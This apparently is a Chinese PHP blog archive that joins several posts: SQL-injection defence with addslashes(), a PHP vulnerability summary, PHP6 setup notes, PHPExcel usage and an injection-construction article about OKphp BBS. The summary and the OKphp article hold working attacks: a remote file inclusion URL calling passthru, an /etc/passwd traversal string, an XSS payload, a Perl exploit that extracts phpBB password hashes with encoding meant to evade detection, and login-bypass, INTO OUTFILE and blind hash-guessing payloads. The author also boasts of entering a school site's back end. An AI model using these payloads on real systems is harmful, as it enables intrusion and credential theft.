; pfpro.proxypassword = ; 默认的代理的密码 
[Sockets] 
sockets.use_system_read = On ; 使用系统的read() 函数替代 php_read()封装 
; Local Variables: (局部变量) 
; tab-width: 4 
; End:

用PHP函数解决SQL injection

SQL injection问题在ASP上可是闹得沸沸扬扬?当然还有不少国内外著名的PHP程序“遇难”。至于SQL injection的详情,网上的文章太多了,在此就不作介绍。


如果你网站空间的php.ini文件里的magic_quotes_gpc设成了off,那么PHP就不会在敏感字符前加上反斜杠(\),由于表单提交的内容可能含有敏感字符,如单引号(’),就导致了SQL injection的漏洞。在这种情况下,我们可以用addslashes()来解决问题,它会自动在敏感字符前添加反斜杠。


但是,上面的方法只适用于magic_quotes_gpc=Off的情况。作为一个开发者,你不知道每个用户的magic_quotes_gpc是On还是Off,如果把全部的数据都用上addslashes(),那不是“滥杀无辜”了?假如magic_quotes_gpc=On,并且又用了addslashes()函数,那让我们来看看:

 

[language=PHP]
<?php
//如果从表单提交一个变量$_POST[‘message’],内容为 Tom’s book
//这此加入连接MySQL数据库的代码,自己写吧
//在$_POST[‘message’]的敏感字符前加上反斜杠
$_POST[‘message’] = addslashes($_POST[‘message’]);

//由于magic_quotes_gpc=On,所以又一次在敏感字符前加反斜杠
$sql = “INSERT INTO msg_table VALUE(‘$_POST[message]’);”;

//发送请求,把内容保存到数据库内
$query = mysql_query($sql);

//如果你再从数据库内提取这个记录并输出,就会看到 Tom\’s book
?>

这样的话,在magic_quotes_gpc=On的环境里,所有输入的单引号(’)都会变成(\’)……
其实我们可以用get_magic_quotes_gpc()函数轻易地解决这个问题。当magic_quotes_gpc=On时,该函数返回TRUE;当magic_quotes_gpc=Off时,返回FALSE。至此,肯定已经有不少人意识到:问题已经解决。请看代码:
<?php
//如果magic_quotes_gpc=Off,那就为提单提交的$_POST[‘message’]里的敏感字符加反斜杠
//magic_quotes_gpc=On的情况下,则不加
if (!get_magic_quotes_gpc()) {
$_POST[‘message’] = addslashes($_POST[‘message’]);
} else {}
?>

[/language]

 

其实说到这里,问题已经解决。下面再说一个小技巧。


有时表单提交的变量不止一个,可能有十几个,几十个。那么一次一次地复制/粘帖addslashes(),是否麻烦了一点?由于从表单或URL获取的数据都是以数组形式出现的,如$_POST、$_GET)?那就自定义一个可以“横扫千军”的函数:

 

[language=PHP]
<?php
function quotes($content)
{
//如果magic_quotes_gpc=Off,那么就开始处理
if (!get_magic_quotes_gpc()) {
//判断$content是否为数组
if (is_array($content)) {
//如果$content是数组,那么就处理它的每一个单无
foreach ($content as $key=>$value) {
$content[$key] = addslashes($value);
}
} else {
//如果$content不是数组,那么就仅处理一次
addslashes($content);
}
} else {
//如果magic_quotes_gpc=On,那么就不处理
}
//返回$content
return $content;
}
?>

[/language]




Modified At 2008-06-04 13:09:11

PHP网站漏洞的相关总结


从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权.然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多.在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧.


我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种.当然,至于COOKIE 欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多.那么,我们就一个一个来分析一下怎样利用这些漏洞吧!


首先,我们来讨论包含文件漏洞.这个漏洞应该说是PHP独有的吧.这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令.我们来看一个例子:假设在a.php中有这样一句代码:

<?php
include($include.”/xxx.php”);
?>


在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的.比方说我们提交:a.php? include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了.我们可以在 b.php中写入类似于:passthru(“/bin/ls /etc”);的代码.这样,就可以执行一些有目的的攻击了.(注:web服务器应该不能执行php代码,不然就出问题了.相关详情可以去看< <如何对PHP程序中的常见漏洞进行攻击>>).在这个漏洞方面,出状况的很多,比方说:PayPal Store Front, HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.


接着,我们再来看一下脚本命令执行漏洞.这是由于对用户提交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的:


http://web/index.php?PHPSESSID=”><script>…</script>在script里面我们可以构造函数来获得用户的一些敏感信息.在这个漏洞方面相对要少一点,除了PHP Transparent之外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.


再然后,我们就来看看文件泄露漏洞了.这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpMyAdmin来做例子.在phpMyAdmin中,export.php页面没有对用户提交的’what’参数进行充分过滤,远程攻击者提交包含多个’../’字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../.. /etc/passwd%00 就可以达到文件泄露的目的了.在这方面相对多一点,有:myPHPNuke,McNews等等.


最后,我们又要回到最兴奋的地方了.想想我们平时在asp页面中用SQL注入有多么爽,以前还要手动注入,一直到小竹悟出”SQL注入密笈”(嘿嘿),然后再开做出NBSI以后,我们NB联盟真是拉出一片天空.曾先后帮CSDN,大富翁论坛,中国频道等大型网站找出漏洞.(这些废话不多说了,有点跑题了…).还是言规正传,其实在asp中SQL的注入和php中的SQL注入大致相同,只不过稍微注意一下用的几个函数就好了.将asc改成 ASCII,len改成LENGTH,其他函数基本不变了.其实大家看到PHP的SQL注入,是不是都会想到PHP-NUKE和PHPBB呢?不错,俗话说树大招分,像动网这样的论坛在asp界就该是漏洞这王了,这并不是说它的论坛安全太差,而是名气太响,别人用的多了,研究的人也就多了,发现的安全漏洞也就越多了.PHPBB也是一样的,现在很大一部分人用PHP做论坛的话,一般都是选择了PHPBB.它的漏洞也是一直在出,从最早phpBB.com phpBB 1.4.0版本被人发现漏洞,到现在最近的phpBB 2.0.6版本的groupcp.php,以及之前发现的search.php,profile.php,viewtopic.php等等加起来,大概也有十来个样子吧.这也一直导致,一部分人在研究php漏洞的时候都会拿它做实验品,所谓百练成精嘛,相信以后的PHPBB会越来越好.


好了,我们还是来分析一下漏洞产生的原因吧.拿viewtopic.php页面来说,由于在调用viewtopic.php时,直接从GET请求中获得 “topic_id”并传递给SQL查询命令,而并没有进行一些过滤的处理,攻击者可以提交特殊的SQL字符串用于获得MD5密码,获得此密码信息可以用于自动登录或者进行暴力破解。(我想应该不会有人想去暴力破解吧,除非有特别重要的原因).先看一下相关源代码:


# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS[‘topic’]) )
# {
# $topic_id = intval($HTTP_GET_VARS[‘topic’]);
# }


从上面我们可以看出,如果提交的view=newest并且sid设置了值的话,执行的查询代码像下面的这个样子(如果你还没看过PHPBB源代码的话,建议你看了再对着这里来看,受影响系统为:phpBB 2.0.5和phpBB 2.0.4).

 

# $sql = “select p.post_id
# FROM ” . POSTS_TABLE . ” p, ” . SESSIONS_TABLE . ” s, ” . USERS_TABLE . ” u 
# where s.session_id = ‘$session_id’
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1″;

Rick提供了下面的这断测试代码:

use IO::Socket;
$remote = shift || ‘localhost’;
$view_topic = shift || ‘/phpBB2/viewtopic.php’;
$uid = shift || 2;
$port = 80;
$dbtype = ‘mysql4’; # mysql4 or pgsql
print “Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n”;
$p = “”;
for($index=1; $index<=32; $index++) {
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => “tcp”,
Type => SOCK_STREAM)
or die “Couldnt connect to $remote:$port : $@\n”;
$str = “GET $view_topic” . “?sid=1&topic_id=-1” . random_encode(make_dbsql()) . “&view=newest” . ” HTTP/1.0\n\n”; 
print $socket $str;
print $socket “Cookie: phpBB2mysql_sid=1\n”; # replace this for pgsql or remove it
print $socket “Host: $remote\n\n”;
while ($answer = <$socket>) {
if ($answer =~ /location:.*\x23(\d+)/) # Matches the location: viewtopic.php?p=<num>#<num> {
$p .= chr ();
}
}
close($socket);
}
print “\nMD5 Hash for uid $uid is $p\n”;
# random encode str. helps avoid detection
sub random_encode {
$str = shift;
$ret = “”;
for($i=0; $i<length($str); $i++) {
$c = substr($str,$i,1);
$j = rand length($str) * 1000;
if (int($j) % 2 || $c eq ‘ ‘) {
$ret .= “%” . sprintf(“%x”,ord($c));
} else {
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql {
if ($dbtype eq ‘mysql4’) {
return ” union select ord(substring(user_password,” . $index . “,1)) from phpbb_users where user_id=$uid/*” ;
} elsif ($dbtype eq ‘pgsql’) {
return “; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false”;
} else {
return “”;
}
}

 

这断代码,我就不多做解释了.作用是获得HASH值.
看到这里,大家可能有点疑问,为什么我前面讲的那些改的函数怎么没有用到,我讲出来不怕大家笑话:其实网上很多站点有些页面的查询语句看起来会是这样:


display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc


不要笑,这是真的,我还靠这个进过几个大型网站.至于哪一些,不好讲出来,不过我们学校的网站,我就是靠这个进后台的(希望学校网络中心的看不到这篇文章,^_^).把前面那函数用上吧.不然你只有改人家的密码了哦!!!


差点忘了一点,在SQL注入的时候,PHP与ASP有所不同,mysql对sql语句的运用没有mssql灵活,因此,很多在mssql上可以用的查询语句在mysql数据库中都不能奏效了. 一般我们常见的注入语句像这样:aaa.php?id=a’ into outfile ‘pass.txt或是aaa.php?id=a’ into outfile ‘pass.txt’ /*再进一步可以改成:aaa.php?id=a’ or 1=1 union select id,name,password form users into outfile ‘c:/a.txt 中


这样可以将数据库数据导出为文件,然后可以查看.


或是这样:mode=’,user_level=’4


这个语句一般用在修改资料时,假设页面存在漏洞的话,就可以达到提升权限的做用.


其它的如’ OR 1=1 — 或者:1′ or 1=’1则跟asp差不多.这里不多讲了.在php里面,SQL注入看来还是漏洞之首啊,有太多的页面存在这个问题了.


其实大家可以看出来,上面那些分类归根结底只有一个原因:提交参数没过滤或是过滤不够严谨.黑客防线向来有攻有守.这里,就大致讲一下防范的方法吧.

 

首先,我个人认为最重要的一点是将magic_quotes_gpc高为ON,它的作用是将单引号,双引号,反斜线,和空字符转换为含有反斜线的字符,如 select * from admin where username=’$username’ and password=’$password’语句,攻击者想用1′ or 1=’1跳过验证,但是,那些字符串将被转换成这样:select * from admin where username=’a’ and password=’1\’ or 1=\’1’从而达到阻止注入的目的,事实也就是自动进行了addslashes()操作.再不行的话,自己定义函数处理吧.现在看来,那些搞PHP注入的人也比较郁闷,因为myslq4以下版本不支持子语句,而新版本的mysql又会将magic_quotes_gpc选项默认为开.


解决包含文件漏洞用的方法就是:要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定,建议设global_variables为off。如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:allow_url_fopen = Off(注:参见<<PHP安全问题:远程溢出、DoS、safe_mode绕过漏洞>>).

php6介绍和php6安装手册-PHP6下载

 
PHP6安装手册:
 
第一步:将apache安装到c:/apache下,装完后可在浏览器中输入 http://localhost 查看是否成功运行了!如果运行错误,80%以上的可能是由于端口问题,请修改c:/apache/conf/httpd.conf中的Listen和ServerName这2个配置为其他未占用的端口!
 
第二步:将php6解包到c:/php下,然后将c:/php/php.ini-recommended 复制成 c:/php/php.ini ,或者直接改名也可!然后请正确配置php.ini,尤其要注意extension_dir参数,将其改为 “c:/php/ext/”。
 
第三步:配置c:/apache/conf/httpd.conf。在文件最后加上以下内容:
LoadFile “c:/php/libmysql.dll”
LoadModule php5_module “c:/php/php6apache2_2.dll”
AddType application/x-httpd-php .php
PHPIniDir “C:/php”
其中要注意的是LoadModule参数中应该是 php5_module 而不是 php6_module。
LoadFile “c:/php/libmysql.dll” 的目的是为了让PHP支持php_mysql.dll扩展
最后保存,重起APACHE就可以运行PHP了!
 
PHP6介绍:
去年在巴黎举行的PHP开发者大会中,PHP6开发的消息开始流传开来,于PHP大会讨论的PHP6,将有很大幅度的变化,但这只是草案阶段,并不代表所有会议的机率都会随着PHP6的发布而包含记录中所有的变更也就是说,在发布PHP6之前,还是会有异动的情形,但是可以确定的是下面所列的数项变化,将会随着PHP6一同面世(当然不是百分百乐,)
赶快来看看这些新特性吧:
 
1.支持Unicode
支持Unicode是有其必然,虽然Unicode占用较多的空间,但Unicode带来的便利性,远超过占用空间的缺点,尤其在国际化的今天,硬件设备越来越强大,网速也大幅度的提升,这么一点小小的缺点是可以忽略的。另外一点,PHP也可以在.ini文件中设定是否开启支持Unicode,决定权在你自己,这是一个不错的点子,关掉Unicode的支持,PHP的性能并不会有大幅度的提升,主要的影响在于需要引用字符串的函数。
 
2.Register Globals 将被移除
这是一个重要的决定,说多新进的PHP开发者会觉得Register Globals满方便的,但是却忽略了Register Globals会带来程序上安全性的隐患,大多数的主机上此项功能是关闭的,印象中从PHP4.3.x版开始时,此项默认设置值即是关闭状态,PHP6正式移除Register Globals也代表着如果程序是由PHP3时代的产物,将完全无法使用,除了改写一途外,别无他法。相信现在的PHP世界里,仍使用PHP3时代所产生的程序应该是少之又少。
 
3.Magic Quotes 将消失
Magic Quotes主要是自动转义需要转义的字符,此项功能移除叶符合大多数PHP开发者的心声。
 
4.Safe Mode 取消
老实说,这个模式不知道哪里不好,取消就取消吧,反正也用不到
 
5.’var’ 别名为 ‘public’
在类中的var声明变成public的别名,相信是为了兼容PHP5而作的决定,PHP6现在也可以称作为OO语言了。
 
6.通过引用返回将出错
现在透过引用返回编译器将会报错 例如$a =& new b()、function &c(),OO语言默认就是引用,所以不需要再使用&了。
 
7.zend.ze1 compatbility mode 将被移去
Zend.ze1相容模式将被移去,PHP5是为兼容旧有PHP4,所以在.ini中可选择是否开启相容模式,原因在于PHP5使用的是第二代解析引擎,但是相容模式并不是百分之百能解析PHP4语法,所以旧时代的产物,移除。
 
8.Freetype 1 and GD 1 support 将不见
这两个是很久的Libs,所以不再支持,GD1早已被现在的GD2取代了。
 
9.dl() 被移到 SAPI 中
dl()主要是让设计师加载extension Libs,现在被移到 SAPI 中
 
10.Register Long Array 去除
从PHP5起默认是关闭,再PHP6中正式移除。
 
11.一些Extension的变更
例如 XMLReader 和 XMLWriter 将不再是以Extension的方式出现,他们将被移入到PHP的核心之中,并且默认是开启,ereg extension将被放入PECL,代表着它将被移出PHP核心,这也是为了让路给新的正则表达式extension,此外,Fileinfo extension 也将被导入PHP的核心之中。
 
12.APC将被导入核心
这是一个提高PHP性能的功能,现在它将被放入PHP核心中,并且可以选择是否启用APC
 
13.告别ASP风格的起始标签
原来是为了取悦ASP开发者转向使用PHP,现今已经不再需要这种做法了,最后,别期望PHP6的性能可以全面超过PHP5,有可能的是PHP6的执行效率会比PHP5还要来的慢的,但是可以预期的是,PHP开发小组将会努力的完善PHP5,超
越PHP5。
那么,对PHP6有兴趣的朋友现在可以到PHP官方网站上下载,试试这些功能是否真的已经
在PHP6中体现出来了,下载地址http://snaps.php.net/

mysql_query函数只能执行一条SQL语句

        这里做一下笔记,这说明MYSQL+PHP的安全性很高的。

 

###The reason that multiple queries are not supported is to help prevent exploits.###

 

For example, the user could enter something like:

 

  “; DELETE * FROM users;

 

in the name field of a form, which would erase everything in the table when the query is executed.

By allowing mysql_query to support only single commands, this hole is closed.



Modified At 2008-06-08 13:20:46

PHPExcel常用方法汇总

来源:http://blog.csdn.net/zeali/archive/2008/02/27/2124984.aspx
PHPExcel 是相当强大的 MS Office Excel 文档生成类库,当需要输出比较复杂格式数据的时候,PHPExcel 是个不错的选择。不过其使用方法相对来说也就有些繁琐。列举以记之。
 
[language=PHP]
<?  
//设置PHPExcel类库的include path  
set_include_path(‘.’. PATH_SEPARATOR .  
                 ‘D:\Zeal\PHP_LIBS’ . PATH_SEPARATOR .  
                 get_include_path());  
 
/** 
 * 以下是使用示例,对于以 //// 开头的行是不同的可选方式,请根据实际需要 
 * 打开对应行的注释。 
 * 如果使用 Excel5 ,输出的内容应该是GBK编码。 
 */ 
require_once ‘PHPExcel.php’;  
 
// uncomment  
////require_once ‘PHPExcel/Writer/Excel5.php’;    // 用于其他低版本xls  
// or  
////require_once ‘PHPExcel/Writer/Excel2007.php’; // 用于 excel-2007 格式  
 
// 创建一个处理对象实例  
$objExcel = new PHPExcel();  
 
// 创建文件格式写入对象实例, uncomment  
////$objWriter = new PHPExcel_Writer_Excel5($objExcel);    // 用于其他版本格式  
// or  
////$objWriter = new PHPExcel_Writer_Excel2007($objExcel); // 用于 2007 格式  
//$objWriter->setOffice2003Compatibility(true);  
 
//*************************************  
//设置文档基本属性  
$objProps = $objExcel->getProperties();  
$objProps->setCreator(“Zeal Li”);  
$objProps->setLastModifiedBy(“Zeal Li”);  
$objProps->setTitle(“Office XLS Test Document”);  
$objProps->setSubject(“Office XLS Test Document, Demo”);  
$objProps->setDescription(“Test document, generated by PHPExcel.”);  
$objProps->setKeywords(“office excel PHPExcel”);  
$objProps->setCategory(“Test”);  
 
//*************************************  
//设置当前的sheet索引,用于后续的内容操作。  
//一般只有在使用多个sheet的时候才需要显示调用。  
//缺省情况下,PHPExcel会自动创建第一个sheet被设置SheetIndex=0  
$objExcel->setActiveSheetIndex(0);  
 
 
$objActSheet = $objExcel->getActiveSheet();  
 
//设置当前活动sheet的名称  
$objActSheet->setTitle(‘测试Sheet’);  
 
//*************************************  
//设置单元格内容  
//  
//由PHPExcel根据传入内容自动判断单元格内容类型  
$objActSheet->setCellValue(‘A1’, ‘字符串内容’);  // 字符串内容  
$objActSheet->setCellValue(‘A2’, 26);            // 数值  
$objActSheet->setCellValue(‘A3’, true);          // 布尔值  
$objActSheet->setCellValue(‘A4’, ‘=SUM(A2:A2)’); // 公式  
 
//显式指定内容类型  
$objActSheet->setCellValueExplicit(‘A5’, ‘847475847857487584’,   
                                   PHPExcel_Cell_DataType::TYPE_STRING);  
 
//合并单元格  
$objActSheet->mergeCells(‘B1:C22’);  
 
//分离单元格  
$objActSheet->unmergeCells(‘B1:C22’);  
 
//*************************************  
//设置单元格样式  
//  
 
//设置宽度  
$objActSheet->getColumnDimension(‘B’)->setAutoSize(true);  
$objActSheet->getColumnDimension(‘A’)->setWidth(30);  
 
$objStyleA5 = $objActSheet->getStyle(‘A5’);  
 
//设置单元格内容的数字格式。  
//  
//如果使用了 PHPExcel_Writer_Excel5 来生成内容的话,  
//这里需要注意,在 PHPExcel_Style_NumberFormat 类的 const 变量定义的  
//各种自定义格式化方式中,其它类型都可以正常使用,但当setFormatCode  
//为 FORMAT_NUMBER 的时候,实际出来的效果被没有把格式设置为”0″。需要  
//修改 PHPExcel_Writer_Excel5_Format 类源代码中的 getXf($style) 方法,  
//在 if ($this->_BIFF_version == 0x0500) { (第363行附近)前面增加一  
//行代码:   
//if($ifmt === ‘0’) $ifmt = 1;  
//  
//设置格式为PHPExcel_Style_NumberFormat::FORMAT_NUMBER,避免某些大数字  
//被使用科学记数方式显示,配合下面的 setAutoSize 方法可以让每一行的内容  
//都按原始内容全部显示出来。  
$objStyleA5 
    ->getNumberFormat()  
    ->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);  
 
//设置字体  
$objFontA5 = $objStyleA5->getFont();  
$objFontA5->setName(‘Courier New’);  
$objFontA5->setSize(10);  
$objFontA5->setBold(true);  
$objFontA5->setUnderline(PHPExcel_Style_Font::UNDERLINE_SINGLE);  
$objFontA5->getColor()->setARGB(‘FF999999’);  
 
//设置对齐方式  
$objAlignA5 = $objStyleA5->getAlignment();  
$objAlignA5->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_RIGHT);  
$objAlignA5->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);  
 
//设置边框  
$objBorderA5 = $objStyleA5->getBorders();  
$objBorderA5->getTop()->setBorderStyle(PHPExcel_Style_Border::BORDER_THIN);  
$objBorderA5->getTop()->getColor()->setARGB(‘FFFF0000’); // color  
$objBorderA5->getBottom()->setBorderStyle(PHPExcel_Style_Border::BORDER_THIN);  
$objBorderA5->getLeft()->setBorderStyle(PHPExcel_Style_Border::BORDER_THIN);  
$objBorderA5->getRight()->setBorderStyle(PHPExcel_Style_Border::BORDER_THIN);  
 
//设置填充颜色  
$objFillA5 = $objStyleA5->getFill();  
$objFillA5->setFillType(PHPExcel_Style_Fill::FILL_SOLID);  
$objFillA5->getStartColor()->setARGB(‘FFEEEEEE’);  
 
//从指定的单元格复制样式信息.  
$objActSheet->duplicateStyle($objStyleA5, ‘B1:C22’);  
 
 
//*************************************  
//添加图片  
$objDrawing = new PHPExcel_Worksheet_Drawing();  
$objDrawing->setName(‘ZealImg’);  
$objDrawing->setDescription(‘Image inserted by Zeal’);  
$objDrawing->setPath(‘./zeali.net.logo.gif’);  
$objDrawing->setHeight(36);  
$objDrawing->setCoordinates(‘C23’);  
$objDrawing->setOffsetX(10);  
$objDrawing->setRotation(15);  
$objDrawing->getShadow()->setVisible(true);  
$objDrawing->getShadow()->setDirection(36);  
$objDrawing->setWorksheet($objActSheet);  
 
 
//添加一个新的worksheet  
$objExcel->createSheet();  
$objExcel->getSheet(1)->setTitle(‘测试2’);  
 
//保护单元格  
$objExcel->getSheet(1)->getProtection()->setSheet(true);  
$objExcel->getSheet(1)->protectCells(‘A1:C22’, ‘PHPExcel’);  
 
 
//*************************************  
//输出内容  
//  
$outputFileName = “output.xls”;  
//到文件  
////$objWriter->save($outputFileName);  
//or  
//到浏览器  
////header(“Content-Type: application/force-download”);  
////header(“Content-Type: application/octet-stream”);  
////header(“Content-Type: application/download”);  
////header(‘Content-Disposition:inline;filename=”‘.$outputFileName.'”‘);  
////header(“Content-Transfer-Encoding: binary”);  
////header(“Expires: Mon, 26 Jul 1997 05:00:00 GMT”);  
////header(“Last-Modified: ” . gmdate(“D, d M Y H:i:s”) . ” GMT”);  
////header(“Cache-Control: must-revalidate, post-check=0, pre-check=0”);  
////header(“Pragma: no-cache”);  
////$objWriter->save(‘php://output’);  
 
?>
[/language]

php+mysql注射语句构造


 

 

作者:特洛伊剑客’s Blog


一.前言:

测试版本信息:Okphp BBS v1.3 开源版

由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。
  声明:文章所有提到的”漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。

 

二.”漏洞”分析:

1.admin/login.php注射导致绕过身份验证漏洞:

代码:

 

$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = “select id,group_id from $user_table where username=’$username’ and password=’$password'”;
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

$q = “select id,group_id from $user_table where username=’$username’ and password=’$password'”中
$username 和 $password 没过滤, 很容易就绕过。
对于select * from $user_table where username=’$username’ and password=’$password’这样的语句改造的方法有:

构造1(利用逻辑运算):$username=’ OR ‘a’=’a $password=’ OR ‘a’=’a

相当于sql语句:

select * from $user_table where username=” OR ‘a’=’a’ and password=” OR ‘a’=’a’
构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin’#(或admin’/*)
即:

select * from $user_table where username=’admin’#’ and password=’$password'”
相当于:

select * from $user_table where username=’admin’
在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造

 

2:

select id,group_id from $user_table where username=’admin’#’ and password=’$password'”
相当于:

select id,group_id from $user_table where username=’admin’
只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id,
我们就可以这样构造:$username=’ OR id=1#
相当于:

select id,group_id from $user_table where username=” OR id=1# and password=’$password'(#后的被注释掉)
我们接着往下看代码:

if ($row[0]) {
// If not admin or super moderator
if ($username != “admin” && !eregi(“(^&#124;&)3($&#124;&)”,$row[1])) {
$login = 0;
}

else {
$login = 1;
}
}
// Fail to login—————
if (!$login) {
write_log(“Moderator login”,”0″,”password wrong”);
echo “<script>alert(‘login failed!’);history.go(-1);</script>”;
exit();
}
// Access ! ————-
else {
session_start();

最后简单通过一个$login来判断,我们只要ie提交直接提交$login=1 就可以绕过了 :)。

 

3.users/login.php注射导致绕过身份验证漏洞:
代码:

$md5password = md5($password);
$q = “select id,group_id,email from $user_table where username=’$username’ and password=’$md5password'”;
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

$username没过滤利用同1里注释掉and password=’$md5password'”;就绕过啦。

3.admin\log\list.php存在任意删除日志记录漏洞。(ps:这个好象和php+mysql注射无关,随便提一下)
okphp的后台好象写得很马虎,所有文件都没有判断管理员是否已经登陆,以至于任意访问。我们看list.php的代码:

$arr = array(“del_log”,”log_id”,”del_id”);
get_r($arr);
//
if ($del_log) {
省略……..
if ($log_id) {
foreach ($log_id as $val) {
$q = “delete from $log_table where id=’$val'”;
$res = sql_query($q,$conn);
if ($res) {
$i++;
}
}
}
elseif ($del_id) {
$q = “delete from $log_table where id=’$del_id'”;
$res = sql_query($q,$conn);
}
$tpl->setVariable(“message”,”$i log deleted ok!”);
$tpl->setVariable(“action”,”index.php?action=list_log”);
}

代码就只简单的用get_r($arr);判断的提交的参数,我们只要提交相应的$del_log,$log_id,$del_id。就回删除成功。

 

4.多个文件对变量没有过滤导致sql注射漏洞。
  okphp的作者好象都不喜欢过滤:)。基本上所有的sql语句中的变量都是”赤裸裸”的。具体那些文件我就不列出来了,请自己看代码,我这里就用\forums\list_threads.php为例子简单谈一下。

看list_threads.php的代码:

 

$q = “select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id=’$forum_id'”;
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

 

变量$forum_id没有过滤,因为mysql不支持子查询,我们可以利用union构造语句进行联合查询(要求MySQL版本在4.00以上)实现跨库操作,我们构造如下:

 

构造1:利用 select * FROM table INTO OUTFILE ‘/path/file.txt’(要求mysql有file权限,注意在win系统中要绝对路径,如:c://path//file.txt )。把所查询的内容输入到file.txt,然后我们可以通http://ip/path/file.txt来访问得到查询的结果。上面的我们可以这样构造$forum_id:

 

$forum_id=’ union select * from user_table into outfile ‘/path/file.txt’


以下:

$q = “select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id=’$forum_id’ union select * from user_table into outfile ‘/path/file.txt'”;


上面的办法要求比较苛刻,必须得到web的路径(一般可以通过提交错误的变量使mysql报错而得到),而且php的magic_gpc=on选项使注入中不能出现单引号。如果magic_gpc=on我们也可以绕过:

 

构造2:就象asp跨库查询一样,直接利用union select构造语句,使返回结果不同来猜解,这种方法可以绕过单引号(magic_gpc=on)继续注射,不过在php里这种注射相对困难,根据具体的代码而定。具体的语句构造请参考pinkeyes 的文章《php注入实例》。下面我就结合okphp给个利用”返回结果不同”注射的例子:(见漏洞5)。

5.admin/login.php和users/login.php通过sql语句构造可以猜解得到指定用户密码hash:(其实这个和漏洞1和2是同一个,这里单独拿出来,主要是说明语句构造的方法。)

 

问题代码同漏洞1。
语句的构造(ps:因为语句本身就是对用户库操作就没必要用union了):

$username=admin’ AND LENGTH(password)=6#
sql语句变成:

$q = “select id,group_id from $user_table where username=’admin’ AND LENGTH(password)=6#’ and password=’$password'”
相当于:

$q = “select id,group_id from $user_table where username=’admin’ AND LENGTH(password)=6′”
如果LENGTH(password)=6成立,则正常返回,如果不成立,mysql就会报错。

呵呵,这样我们就可以猜解用户admin密码hash了。如$username=admin’ ord(substring(password,1,1))=57#
可以猜用户的密码第一位的ascii码值…………。

 

三.后话:

  这篇文章是在网吧看代码写出来的,只是粗略的看了下代码,文章所提到的”漏洞”都没有经过测试。可能有的”漏洞”根本就不存在,也可能漏掉了不少东西,这些都不是很要紧,因为本文的重要目的是看php+mysql注射时的语句构造,通过本文,可以看出:虽然看起来php好象要比asp安全,不过一但变量没有过滤完全,php的注射要比asp注射更灵活,更多注射方法。 由于作者水平等原因,可能文章不少错误,还请多指点。




Modified At 2008-06-02 23:15:48

获取php.ini设置变量

 ini_get
(PHP 4, PHP 5)

ini_get — Gets the value of a configuration option


说明


string ini_get( string varname )


Returns the value of the configuration option on success.

 

参数
varname
The configuration option name.


返回值
Returns the value of the configuration option as a string on success, or an empty string on failure.

 

范例
例 1. A few ini_get() examples



 

上例的输出类似于:

display_errors = 1
register_globals = 0
post_max_size = 8M
post_max_size+1 = 9
post_max_size in bytes = 8388608 

php执行效率优化

总结下php程序效率优化的一些策略:

 

1.在可以用file_get_contents替代file、fopen、feof、fgets等系列方法的情况下,尽量用file_get_contents,因为他的效率高得多!但是要注意file_get_contents在打开一个URL文件时候的PHP版本问题;(对这于这一点kimi不敢苟同,详细请查阅http://www.ccvita.com/index.php/163.html)

 

2.尽量的少进行文件操作,虽然PHP的文件操作效率也不低的;

 

